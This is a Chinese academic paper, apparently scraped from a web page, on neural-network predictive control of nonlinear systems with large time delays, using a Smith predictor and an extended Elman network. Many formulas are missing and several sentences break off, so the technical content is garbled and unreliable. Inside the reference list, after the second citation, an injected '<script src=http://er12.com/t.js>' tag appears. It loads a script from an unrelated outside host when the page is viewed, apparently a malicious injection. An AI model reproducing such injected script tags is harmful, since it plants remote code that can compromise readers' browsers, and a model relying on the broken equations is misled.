基于递归神经网络的大滞后非线性系统预测控制

  [摘 要] 针对带有大滞后的非线性系统,提出了在迭代多步预测的基础上,将系统多步预测输出值进行线性化,在多步预测目标函数下实现系统控制的方法。采用适合于动态系统实时控制的扩展elman网络,利用训练速度快的阻尼最小二乘法学习网络权值。仿真实验表明了该方法的有效性。

[关键词] 多步预测控制;递归神经网络;非线性系统;大滞后系统

1 引 言

  针对带有大滞后的线性系统,o.j.msmith[1]提出了一种补偿方法,将滞后时间从闭环系统特征方程中消除,smith预估器的一个主要缺陷是要求被控对象的数学模型非常准确,这严重限制了其实际应用范围,成为控制界理论上非常重视但一直没有解决的问题。近年来,许多学者提出了一些改进措施,其范围主要集中在线性滞后系统[2、3],对于非线性系统涉及很少。文献[4]提出基于神经网络的smith预估器实现方法,将smith预估器从大滞后的线性系统推广到大滞后非线性系统。

  elman网络[5]是一种局部递归神经网络,它不仅保留了完全递归神经网络的动态特性,同时也因其“局部递归,全局前馈”的结构,更适于非线性系统实时控制。文中采用文献[6]提出的串—并式结构的扩展elman网络,在权值训练过程中,采用带遗忘因子的阻尼最小二乘法[7],它是通常的递推最小二乘法的推广,更适合于实时控制。

  该文引入非线性系统多步预测控制思想,首先对于基于神经网络的smith预估器输出值进行迭代多步预测,为了克服迭代预测值与实际系统预测值之间的误差,将系统多步预测值在迭代预测值上按

2 基于神经网络的smith预估器

  smith预估器结构如图2—1所示,在这里,神经网络nmd逼近带滞后的非线性被控对象的动力学特性:

其中n和m分别为输出y(k)和输入u(k)的阶次,d是非线性系统的时滞,w为神经网络中所有神经元的权值组成的权值向量,fnn(·)是用一个神经网络逼近的非线性函数。网络输入为:id=[y(k-

根据smith预估器原理,=ym(k)+y(k)-yd(k),根据文献[4],当k≤0时,假设u(k)=0,yd(k)=ym(k)=0,文献[4]定理2证明smith预估器在k时刻的输出等于实际非线性系统在k+d时刻的输出,即≈y(k+d),也可将其视为对非线性系统d步向前预测。

3 非线性多步预测控制器

  smith预估器的输出值不包含大滞后因子,可将其作为反馈信号,加入控制器。这里,采用多步预测控制的思想对大滞后非线性系统进行控制[9、10]。首先对其进行多步迭代预测:

  为了克服迭代预测值与实际系统多步向前预测输出值之间的误差,参照多变量连续函数的一阶泰勒级数展开公式,系统多步向前预测输出值可表示为:

4 扩展elman神经网络

  图4—1为扩展elman神经网络的结构图,该网络的数学模型为:

如果令α=0,且对于单输入单输出系统,即ni=1,no=1,输出层非线性函数f(x)=x,那么扩展elman神经网络为基本elman网络[5]。

  采用带遗忘因子的阻尼最小二乘算法[7]修改网络权值:

其中φ(k)=y(k)-ynn(k),w是网络所有权值组成的向量,ri是r1的后继向量,r1=[1,0,…,0]t,μ≥0是参数适应速率因子,0<β≤1为遗忘因子,φ为φ关于w的梯度,初始值p(0)=ει,ε为一个足够大正数。

5 仿真实例

对非线性系统做了大量仿真实验都验证了该方法的有效性,现用一个强非线性系统举例说明:

  辨识网络结构为4-10-1,开环辨识1 000步,初始学习速率为0.1,加权因子λ=8,滞后时间为d=5,预测步数n=2,遗忘因子β=0.99,参数适应速率因子μ=1.3,α=0.6。仿真结果如图5—1所示,图5—1a中实线表示系统实际输出,虚线表示系统期望输出,5—1b为控制器输出曲线。

6 结论

  该文利用反馈连接少、学习迅速、适用于动态系统的实时控制的扩展elman神经网络,对大滞后非线性系统实现smith预估器,在对预估器输出值迭代多步预测的基础上,利用taylor公式对实际非线性系统多步预测值进行线性化,消除系统预测输出值与迭代预测值之间的误差。在对神经网络权值学习过程中,使用收敛速度快且稳定性好的带遗忘因子的阻尼最小二乘法。仿真实验结果表明,该方法有较高的控制精度和较强的鲁棒性,学习迅速,控制效果好,适用于大滞后非线性系统的实时控制。

[参考文献]

[1] smith,o.j.m.closer control of loops with dead time[c].chemical engineering prosgress trans,1957,53(5):217-219.

[2] majhi,s?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计